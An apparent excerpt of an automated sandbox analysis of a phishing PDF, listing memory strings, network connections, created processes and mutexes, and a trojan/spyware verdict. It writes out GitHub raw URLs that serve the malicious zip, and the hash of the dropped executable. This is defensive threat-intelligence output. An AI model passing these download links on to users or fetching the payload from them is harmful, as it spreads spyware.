Source: chromecache_340.10.dr, Reversed order 24-25.exe.12.dr	String found in binary or memory: https://www.woluntech.com/oders-pdf/
Source: Reversed order 24-25.exe, 00000010.00000002.3886240014.0000000007D57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.woluntech.com/oders-pdf//
Source: Reversed order 24-25.exe, 00000010.00000002.3750269090.00000000012DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.woluntech.com/oders-pdf/F
Source: Reversed order 24-25.exe, 00000060.00000002.3780278419.0000000006FFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.woluntech.com/oders-pdf/ri
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/pt/oders-pdf/
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/ru/oders-pdf/
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/ta/oders-pdf/
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/th/oders-pdf/
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/tr/oders-pdf/
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/uz/oders-pdf/
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/vi/oders-pdf/
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/elementor-pro/assets/css/frontend-lite.min.css?ver=3.7.
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js?ver=3.
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=3.7.3
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js?ver=
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/elementor/assets/css/frontend-lite.min.css?ver=3.6.8
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.6.8
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=3.6.8
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=3.6.8
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/elementor/assets/lib/animations/animations.min.css?ver=
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.css
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js?ver=4.0
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/html-forms/assets/js/public.js?ver=1.4.2
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/siteorigin-panels/css/front-flex.min.css?ver=2.31.3
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/css/trp-floater-lang
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/css/trp-language-swi
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/ar.png
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/ary.png
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/bn_BD.p
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/en_US.p
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/es_CO.p
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/es_PE.p
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/id_ID.p
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/pt_BR.p
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/ru_RU.p
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/ta_LK.p
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/th.png
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/tr_TR.p
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/uz_UZ.p
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/vi.png
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/js/trp-frontend-comp
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=6
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/woocommerce/assets/js/frontend/cart-fragments.min.js?ve
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?ver=6
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/wc-blocks
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/plugins/wpforms-lite/assets/js/integrations/elementor/frontend.
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/themes/astra/assets/css/minified/compatibility/site-origin.min.
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/themes/astra/assets/css/minified/compatibility/woocommerce/wooc
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/themes/astra/assets/css/minified/frontend.min.css?ver=3.7.9
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/themes/astra/assets/js/minified/flexibility.min.js?ver=3.7.9
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/themes/astra/assets/js/minified/frontend.min.js?ver=3.7.9
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/uploads/2022/03/cropped-pneumatic-icon-180x180.png
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/uploads/2022/03/cropped-pneumatic-icon-192x192.png
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/uploads/2022/03/cropped-pneumatic-icon-270x270.png
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/uploads/2022/03/cropped-pneumatic-icon-32x32.png
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/uploads/2025/01/Captureddd.jpg
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/uploads/elementor/css/post-3049.css?ver=1736408609
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-content/uploads/elementor/css/post-5327.css?ver=1736509366
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-includes/css/dist/block-library/style.min.css?ver=6.0.2
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-includes/js/dist/hooks.min.js?ver=c6d64f2cb8f5c6bb49caca37f8828ce3
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-includes/js/dist/i18n.min.js?ver=ebee46757c6a411e38fd079a7ac71d94
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-includes/js/dist/vendor/regenerator-runtime.min.js?ver=0.13.9
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-includes/js/jquery/jquery.min.js?ver=3.6.0
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-includes/js/jquery/ui/core.min.js?ver=1.13.1
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-includes/js/underscore.min.js?ver=1.13.3
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-includes/js/wp-util.min.js?ver=6.0.2
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-includes/wlwmanifest.xml
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-json/
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.woluntech.com%2Foders-pdf%2
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/wp-json/wp/v2/pages/9959
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/xmlrpc.php?rsd

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443

Source: Conhost.exe	Process created: 161
Source: conhost.exe	Process created: 59
Source: cmd.exe	Process created: 99

System Summary

Clickable URLs found in PDF pointing to potentially malicious files

Source: Reversed order 24-25.pdf	Initial sample: https://github.com/donmodely2k/poczta.github.io/raw/refs/heads/main/reversed%20order%2024-25.zip
Source: Reversed order 24-25.pdf	Initial sample: https://github.com/donmodely2k/poczta.github.io/raw/refs/heads/main/Reversed%20order%2024-25.zip

Downloads suspicious files via Chrome

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File dump: C:\Users\user\Downloads\Reversed order 24-25.zip (copy)

Jump to dropped file

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Chrom.exe 53043BD27F47DBBE3E5AC691D8A586AB56A33F734356BE9B8E49C7E975241A56

Source: classification engine

Classification label: mal80.troj.spyw.winPDF@1884/322@25/12

Source: Reversed order 24-25.pdf	Initial sample: https://github.com/donmodely2k/poczta.github.io/raw/refs/heads/main/reversed%20order%2024-25.zip
Source: Reversed order 24-25.pdf	Initial sample: https://github.com/donmodely2k/poczta.github.io/raw/refs/heads/main/Reversed%20order%2024-25.zip

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9244:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9488:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9164:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2200:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8420:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:824:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:352:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7704:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2212:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3260:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5480:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8116:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8904:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6484:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3592:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5756:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6072:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7360:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7892:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7032:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4108:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3140:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6044:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9156:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6112:120:WilError_03
